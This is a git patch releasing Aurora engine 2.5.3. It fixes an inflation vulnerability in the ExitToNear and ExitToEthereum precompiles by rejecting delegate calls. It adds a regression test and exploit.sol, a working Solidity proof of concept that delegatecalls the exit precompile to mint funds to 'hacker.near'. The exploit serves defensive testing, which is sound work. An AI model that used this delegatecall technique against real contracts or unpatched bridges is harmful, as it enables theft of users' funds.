From f95e32f53fdb622de2c6eb32c9ecc094c638c773 Mon Sep 17 00:00:00 2001 From: "Joshua J. Bouw" Date: Tue, 7 Jun 2022 18:13:21 +0400 Subject: [PATCH] Release 2.5.3. (#527) * Fix(precompile): ExitToNear ExitToEthereum vulnerability patch Fix vulnerability Include exploit contract * Release 2.5.3 notes * Update solidity version Co-authored-by: Michael Birch --- CHANGES.md | 9 +++- README.md | 6 +-- VERSION | 2 +- engine-precompiles/src/native.rs | 4 ++ engine-tests/src/tests/erc20_connector.rs | 65 ++++++++++++++++++++++- engine-tests/src/tests/res/exploit.sol | 25 +++++++++ 6 files changed, 105 insertions(+), 6 deletions(-) create mode 100644 engine-tests/src/tests/res/exploit.sol diff --git a/CHANGES.md b/CHANGES.md index 5e666f37f..e52e32ed2 100644 --- a/CHANGES.md +++ b/CHANGES.md @@ -7,6 +7,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [2.5.3] 2022-04-27 + +### Fixes + +- Fixed inflation vulnerability relating to ExitToNear and ExitToEthereum by [@birchmd], [@mfornet], and [@joshuajbouw]. Written by [@birchmd]. + ## [2.5.2] 2022-03-22 ### Removed @@ -238,7 +244,8 @@ struct SubmitResult { ## [1.0.0] - 2021-05-12 -[Unreleased]: https://github.com/aurora-is-near/aurora-engine/compare/2.5.2...develop +[Unreleased]: https://github.com/aurora-is-near/aurora-engine/compare/2.5.3...develop +[2.5.3]: https://github.com/aurora-is-near/aurora-engine/compare/2.5.2...2.5.3 [2.5.2]: https://github.com/aurora-is-near/aurora-engine/compare/2.5.1...2.5.2 [2.5.1]: https://github.com/aurora-is-near/aurora-engine/compare/2.5.0...2.5.1 [2.5.0]: https://github.com/aurora-is-near/aurora-engine/compare/2.4.0...2.5.0 diff --git a/README.md b/README.md index 0f9a3c951..75ca3ae7d 100644 --- a/README.md +++ b/README.md @@ -14,9 +14,9 @@ documentation. Network | Contract ID | Chain ID | Version ------- | ------------------- | ---------- | ------ -Mainnet | [`aurora`][Mainnet] | 1313161554 | 2.4.0 -Testnet | [`aurora`][Testnet] | 1313161555 | 2.5.1 -Local | `aurora.test.near` | 1313161556 | 2.5.1 +Mainnet | [`aurora`][Mainnet] | 1313161554 | 2.5.3 +Testnet | [`aurora`][Testnet] | 1313161555 | 2.5.3 +Local | `aurora.test.near` | 1313161556 | 2.5.3 [Mainnet]: https://explorer.near.org/accounts/aurora [Testnet]: https://explorer.testnet.near.org/accounts/aurora diff --git a/VERSION b/VERSION index f225a78ad..aedc15bb0 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -2.5.2 +2.5.3 diff --git a/engine-precompiles/src/native.rs b/engine-precompiles/src/native.rs index 8cea60da4..3954d17d9 100644 --- a/engine-precompiles/src/native.rs +++ b/engine-precompiles/src/native.rs @@ -269,6 +269,8 @@ impl Precompile for ExitToNear { // It's not allowed to call exit precompiles in static mode if is_static { return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_STATIC"))); + } else if context.address != Self::ADDRESS.raw() { + return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_DELEGATE"))); } // First byte of the input is a flag, selecting the behavior to be triggered: @@ -473,6 +475,8 @@ impl Precompile for ExitToEthereum { // It's not allowed to call exit precompiles in static mode if is_static { return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_STATIC"))); + } else if context.address != Self::ADDRESS.raw() { + return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_DELEGATE"))); } // First byte of the input is a flag, selecting the behavior to be triggered: diff --git a/engine-tests/src/tests/erc20_connector.rs b/engine-tests/src/tests/erc20_connector.rs index 68c642fc0..26310d11a 100644 --- a/engine-tests/src/tests/erc20_connector.rs +++ b/engine-tests/src/tests/erc20_connector.rs @@ -402,7 +402,7 @@ mod sim_tests { CallArgs, DeployErc20TokenArgs, FunctionCallArgsV2, SubmitResult, }; use aurora_engine_types::types::Address; - use borsh::BorshSerialize; + use borsh::{BorshDeserialize, BorshSerialize}; use near_sdk_sim::UserAccount; use serde_json::json; @@ -414,6 +414,69 @@ mod sim_tests { const INITIAL_ETH_BALANCE: u64 = 777_777_777; const ETH_EXIT_AMOUNT: u64 = 111_111_111; + #[test] + fn test_ghsa_5c82_x4m4_hcj6_exploit() { + let TestExitToNearEthContext { + mut signer, + signer_address, + chain_id, + tester_address: _, + aurora, + } = test_exit_to_near_eth_common(); + + let constructor = test_utils::solidity::ContractConstructor::force_compile( + "src/tests/res", + "target/solidity_build", + "exploit.sol", + "Exploit", + ); + let nonce = signer.use_nonce().into(); + let deploy_tx = constructor.deploy_without_constructor(nonce); + let signed_tx = test_utils::sign_transaction(deploy_tx, Some(chain_id), &signer.secret_key); + let deploy_result = aurora.call("submit", &rlp::encode(&signed_tx)); + let contract_address = match &deploy_result.status() { + near_sdk_sim::transaction::ExecutionStatus::SuccessValue(bytes) => { + let submit_result = SubmitResult::try_from_slice(bytes).unwrap(); + Address::try_from_slice(test_utils::unwrap_success_slice(&submit_result)).unwrap() + } + _ => panic!("Unknown result: {:?}", deploy_result), + }; + let contract = constructor.deployed_at(contract_address); + + let nonce = signer.use_nonce().into(); + let hacker_account = "hacker.near"; + let hacker_account_bytes = hacker_account.as_bytes().to_vec(); + let mut exploit_tx = contract.call_method_with_args( + "exploit", + &[ethabi::Token::Bytes(hacker_account_bytes)], + nonce, + ); + exploit_tx.value = Wei::new_u64(ETH_EXIT_AMOUNT); + let signed_tx = + test_utils::sign_transaction(exploit_tx, Some(chain_id), &signer.secret_key); + aurora + .call("submit", &rlp::encode(&signed_tx)) + .assert_success(); + + // check balances -- Hacker does not steal any funds! + assert_eq!( + nep_141_balance_of( + aurora.contract.account_id.as_str(), + &aurora.contract, + &aurora, + ), + INITIAL_ETH_BALANCE as u128 + ); + assert_eq!( + nep_141_balance_of(hacker_account, &aurora.contract, &aurora), + 0 + ); + assert_eq!( + eth_balance_of(signer_address, &aurora), + Wei::new_u64(INITIAL_ETH_BALANCE) + ); + } + #[test] fn test_exit_to_near() { // Deploy Aurora; deploy NEP-141; bridge NEP-141 to ERC-20 on Aurora diff --git a/engine-tests/src/tests/res/exploit.sol b/engine-tests/src/tests/res/exploit.sol new file mode 100644 index 000000000..c3c7fa93f --- /dev/null +++ b/engine-tests/src/tests/res/exploit.sol @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: GPL-3.0 + +pragma solidity ^0.8.6; + +contract Exploit { + address payable private owner; + + constructor() { + owner = payable(msg.sender); + } + + function exploit(bytes memory recipient) public payable { + require(msg.sender == owner); + + bytes memory input = abi.encodePacked("\x00", recipient); + uint input_size = 1 + recipient.length; + + assembly { + let res := delegatecall(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, add(input, 32), input_size, 0, 32) + } + + owner.transfer(msg.value); + } +} +